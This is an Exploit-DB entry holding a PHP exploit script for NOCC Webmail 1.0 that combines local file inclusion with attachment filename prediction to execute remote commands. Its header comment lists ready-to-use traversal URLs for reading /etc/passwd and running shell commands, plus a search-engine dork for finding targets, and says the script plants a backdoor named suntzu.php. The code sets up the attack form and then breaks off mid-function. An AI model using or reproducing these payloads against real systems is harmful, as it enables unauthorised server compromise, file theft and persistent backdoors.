Exploit-DB #1522
Description: NOCC Webmail 1.0 - Local File Inclusion / Remote Code Execution
Type: webapps
Platform: php
Date: 2006-02-23
Author: rgod

Exploit:
<?php
#  ---noccw_10_incl_xpl.php                                 8.22 23/02/2006    #
#                                                                              #
#  NOCC Webmail <= 1.0 remote commands execution exploit through arbitrary     #
#  local inclusion & attachment filename prediction                            #
#                                                                              #
#                              coded by rgod                                   #
#                     site: http://retrogod.altervista.org                     #
#                                                                              #
# -> works regardless of any magic_quotes_gpc settings                         #
#                                                                              #
# dork: ("powered by nocc" intitle:"NOCC Webmail") -site:sourceforge.net       #
# -Zoekinalles.nl -analysis                                                    #
#                                                                              #
# Sun-Tzu: "Knowing the place and the time of the coming  battle, we may       #
# concentrate from the greatest distances in order to fight"                   #

/* short explaination:
   we have various arbitrary local inclusion issues, ex:

   http://[tArGeT]/[pAtH]/index.php?lang=../../../../../../../../../../../../etc/passwd%00
   http://[tArGeT]/[pAtH]/index.php?theme=../../../../../../../../../../../etc/passwd%00
   http://[tArGeT]/[pAtH]/html/footer.php?_SESSION[nocc_theme]=../../../../../../../../etc/passwd%00

   This code upload an evil mail attachment (file is renamed by NOCC...).
   After, it tries to include it, predicting its name and its location, ex:

   http://[tArGeT]/[pAtH]/index.php?lang=../tmp/php354.tmp[PII_REDACTED].att%00&cmd=ls%20-la
   http://[tArGeT]/[pAtH]/index.php?theme=../tmp/php354.tmp[PII_REDACTED].att%00&cmd=ls%20-la
   http://[tArGeT]/[pAtH]/html/footer.php?_SESSION[nocc_theme]=..%2f..%2Ftmp%2Fphp53.tmp[PII_REDACTED].att%00

   If succeeded, it installs  a backdoor called suntzu.php on target server.

   To launch this exploit you need a POP3 account on a machine of your choice,
   you need to supply servername, username & password.

   a note:
   you can do the same manually and more quickly with profile files, if
   enabled, ex:
   edit your profile, then:

   http://[target]/[path]/index.php?cmd=cat%20conf.php&lang=../profiles/username@somehost.com.pref%00

   see the full advisory here: http://retrogod.altervista.org/noccw_10_incl_xpl.html
                                                                              */
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",10);
ob_implicit_flush (1);

echo'<html><head><title> **** NOCC Webmail <= 1.0 remote commands execution ****
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css"> body {background-color:#111111;   SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color:  #1CB081; }  img
{background-color:   #FFFFFF   !important}  input  {background-color:    #303030
!important} option {  background-color:   #303030   !important}         textarea
{background-color: #303030 !important} input {color: #1CB081 !important}  option
{color: #1CB081 !important} textarea {color: #1CB081 !important}        checkbox
{background-color: #303030 !important} select {font-weight: normal;       color:
#1CB081;  background-color:  #303030;}  body  {font-size:  8pt       !important;
background-color:   #111111;   body * {font-size: 8pt !important} h1 {font-size:
0.8em !important}   h2   {font-size:   0.8em    !important} h3 {font-size: 0.8em
!important} h4,h5,h6    {font-size: 0.8em !important}  h1 font {font-size: 0.8em
!important} 	h2 font {font-size: 0.8em !important}h3   font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
 **** NOCC Webmail <= 1.0 remote commands execution ****</p><p class="Stile6">a
script  by  rgod  at    <a href="http://retrogod.altervista.org"target="_blank">
http://retrogod.altervista.org</a> </p> <table  width="84%"><tr><td width="43%">
<form name="form1" method="post" action="'.$_SERVER[PHP_SELF].'">    <p><input
type="text"  name="hOsT"> <span class="Stile5">* tArGeT    (ex:www.sitename.com)
</span></p> <p><input type="text" name="pAtH">  <span class="Stile5">* pAtH (ex:
/nocc/ or just / )  </span> </p> <p> <input type="text"  name="cmd">       <span
class="Stile5"> * specify a command   </span> </p>  <p>      <input  type="text"
name="POP3_SERVER"><span class="Stile5"> * a POP3 server  </span> </p> <p><input
type="text" name="USER"><span class="Stile5"> * USERNAME ...</span></p><p><input
type="password"   name="PASSWD"> <span  class="Stile5"> * ... and PASSWORD to it
</span></p><p><input type="text" name="PorT"><span class="Stile5">specify a PorT
other than  80 (default value)</span> </p> <p> <input  type="text" name="pRoXy">
<span class="Stile5"> send  exploit through an HTTP pRoXy (ip:PorT) </span> </p>
<p><input type="submit" name="Submit" value="go!"></p></form></td></tr> </table>
</body></html>';

function show($headeri)
{
  $ii=0;$ji=0;$ki=0;$ci=0;
  echo '<table border="0"><tr>';
  while ($ii <= strlen($headeri)-1){
    $dAtAi=dechex(ord($headeri[$ii]));
    if ($ji==16) {
      $ji=0;
      $ci++;
      echo "<td>&nbsp;&nbsp;</td>";
      for ($li=0; $li<=15; $li++) {
        echo "<td>".htmlentit